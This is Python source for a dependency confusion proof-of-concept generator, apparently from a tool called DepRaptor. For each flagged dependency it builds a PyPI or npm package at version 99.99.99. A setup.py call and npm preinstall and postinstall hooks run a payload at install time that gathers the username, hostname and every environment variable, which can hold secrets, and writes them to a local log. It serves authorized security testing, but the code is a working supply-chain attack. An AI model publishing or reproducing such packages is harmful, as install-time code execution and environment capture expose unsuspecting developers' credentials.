"""PoC package generator for vulnerable dependencies."""

import logging
from pathlib import Path
from typing import List

from ..scanner.confusion_checker import VulnerableDependency

logger = logging.getLogger(__name__)


class PoCGenerator:
    """Generate proof-of-concept packages."""
    
    def __init__(self, output_dir: Path):
        self.output_dir = output_dir
    
    def generate_all(self, vulnerabilities: List[VulnerableDependency]) -> List[Path]:
        """Generate PoC packages for all vulnerabilities."""
        generated = []
        
        for vuln in vulnerabilities:
            poc_path = self._generate_poc(vuln)
            if poc_path:
                generated.append(poc_path)
        
        logger.info(f"Generated {len(generated)} PoC packages")
        return generated
    
    def _generate_poc(self, vuln: VulnerableDependency) -> Path:
        """Generate a single PoC package."""
        package_name = vuln.dependency.name
        ecosystem = vuln.dependency.ecosystem
        
        poc_dir = self.output_dir / package_name
        poc_dir.mkdir(parents=True, exist_ok=True)
        
        # Generate payload
        self._generate_payload(poc_dir)
        
        # Generate ecosystem-specific files
        if ecosystem == "pypi":
            self._generate_python_poc(poc_dir, package_name)
        elif ecosystem == "npm":
            self._generate_nodejs_poc(poc_dir, package_name)
        
        # Generate README
        self._generate_readme(poc_dir, vuln)
        
        logger.info(f"Generated PoC for {package_name} at {poc_dir}")
        return poc_dir
    
    def _generate_payload(self, poc_dir: Path) -> None:
        """Generate payload.py."""
        payload_content = '''"""
PoC Payload for Dependency Confusion Testing
WARNING: This is for authorized security testing only.
"""

import os
import platform
import socket
from datetime import datetime
from pathlib import Path


def execute_payload():
    """Execute the payload and log information."""
    log_file = Path.cwd() / "payload_log.txt"
    
    info = {
        "timestamp": datetime.now().isoformat(),
        "username": os.getenv("USER") or os.getenv("USERNAME") or "unknown",
        "hostname": socket.gethostname(),
        "cwd": str(Path.cwd()),
        "platform": platform.platform(),
        "python_version": platform.python_version(),
        "environment": dict(os.environ),
    }
    
    with open(log_file, "w") as f:
        f.write("=== DEPENDENCY CONFUSION POC EXECUTED ===\\n")
        f.write(f"Timestamp: {info['timestamp']}\\n")
        f.write(f"Username: {info['username']}\\n")
        f.write(f"Hostname: {info['hostname']}\\n")
        f.write(f"Working Directory: {info['cwd']}\\n")
        f.write(f"Platform: {info['platform']}\\n")
        f.write(f"Python Version: {info['python_version']}\\n")
        f.write("\\nEnvironment Variables:\\n")
        for key, value in info['environment'].items():
            f.write(f"  {key}={value}\\n")
    
    print(f"[DepRaptor PoC] Payload executed. Log written to {log_file}")


if __name__ == "__main__":
    execute_payload()
'''
        (poc_dir / "payload.py").write_text(payload_content)
    
    def _generate_python_poc(self, poc_dir: Path, package_name: str) -> None:
        """Generate Python PoC files."""
        # setup.py
        setup_content = f'''from setuptools import setup, find_packages

# Execute payload during installation
try:
    from payload import execute_payload
    execute_payload()
except Exception as e:
    print(f"[DepRaptor PoC] Error executing payload: {{e}}")

setup(
    name="{package_name}",
    version="99.99.99",
    description="PoC package for dependency confusion testing",
    author="Security Researcher",
    packages=find_packages(),
    install_requires=[],
    python_requires=">=3.6",
)
'''
        (poc_dir / "setup.py").write_text(setup_content)
        
        # pyproject.toml
        pyproject_content = f'''[build-system]
requires = ["setuptools>=45", "wheel"]
build-backend = "setuptools.build_meta"

[project]
name = "{package_name}"
version = "99.99.99"
description = "PoC package for dependency confusion testing"
authors = [{{name = "Security Researcher"}}]
requires-python = ">=3.6"
'''
        (poc_dir / "pyproject.toml").write_text(pyproject_content)
    
    def _generate_nodejs_poc(self, poc_dir: Path, package_name: str) -> None:
        """Generate Node.js PoC files."""
        package_json = f'''{{
  "name": "{package_name}",
  "version": "99.99.99",
  "description": "PoC package for dependency confusion testing",
  "main": "index.js",
  "scripts": {{
    "preinstall": "node payload.js",
    "postinstall": "node payload.js"
  }},
  "author": "Security Researcher",
  "license": "MIT"
}}
'''
        (poc_dir / "package.json").write_text(package_json)
        
        # Convert payload to JavaScript
        payload_js = '''const fs = require('fs');
const os = require('os');
const path = require('path');

function executePayload() {
    const logFile = path.join(process.cwd(), 'payload_log.txt');
    
    const info = {
        timestamp: new Date().toISOString(),
        username: os.userInfo().username,
        hostname: os.hostname(),
        cwd: process.cwd(),
        platform: os.platform(),
        nodeVersion: process.version,
        environment: process.env
    };
    
    let logContent = '=== DEPENDENCY CONFUSION POC EXECUTED ===\\n';
    logContent += `Timestamp: ${info.timestamp}\\n`;
    logContent += `Username: ${info.username}\\n`;
    logContent += `Hostname: ${info.hostname}\\n`;
    logContent += `Working Directory: ${info.cwd}\\n`;
    logContent += `Platform: ${info.platform}\\n`;
    logContent += `Node Version: ${info.nodeVersion}\\n`;
    logContent += '\\nEnvironment Variables:\\n';
    
    for (const [key, value] of Object.entries(info.environment)) {
        logContent += `  ${key}=${value}\\n`;
    }
    
    fs.writeFileSync(logFile, logContent);
    console.log(`[DepRaptor PoC] Payload executed. Log written to ${logFile}`);
}

executePayload();
'''
        (poc_dir / "payload.js").write_text(payload_js)
    
    def _generate_readme(self, poc_dir: Path, vuln: VulnerableDependency) -> None:
        """Generate README for PoC package."""
        readme_content = f'''# PoC Package: {vuln.dependency.name}

## Vulnerability Details

- **Package Name**: {vuln.dependency.name}
- **Ecosystem**: {vuln.dependency.ecosystem}
- **Version**: {vuln.dependency.version}
- **Source File**: {vuln.dependency.source}
- **Reason**: {vuln.reason}

## Description

This is a proof-of-concept (PoC) package generated by DepRaptor to demonstrate
a potential dependency confusion vulnerability.

## What This PoC Does

When installed, this package will:
1. Log system information (username, hostname, working directory)
2. Capture environment variables
3. Write all information to `payload_log.txt`

## Security Notice

⚠️ **WARNING**: This PoC is intended ONLY for:
- Authorized security testing
- Bug bounty programs
- Security research with proper authorization

Do NOT upload this package to public registries without authorization.

## Generated By

DepRaptor - Dependency Confusion Scanner
Developer: LAKSHMIKANTHAN K (letchupkt)
'''
        (poc_dir / "README.md").write_text(readme_content, encoding='utf-8')
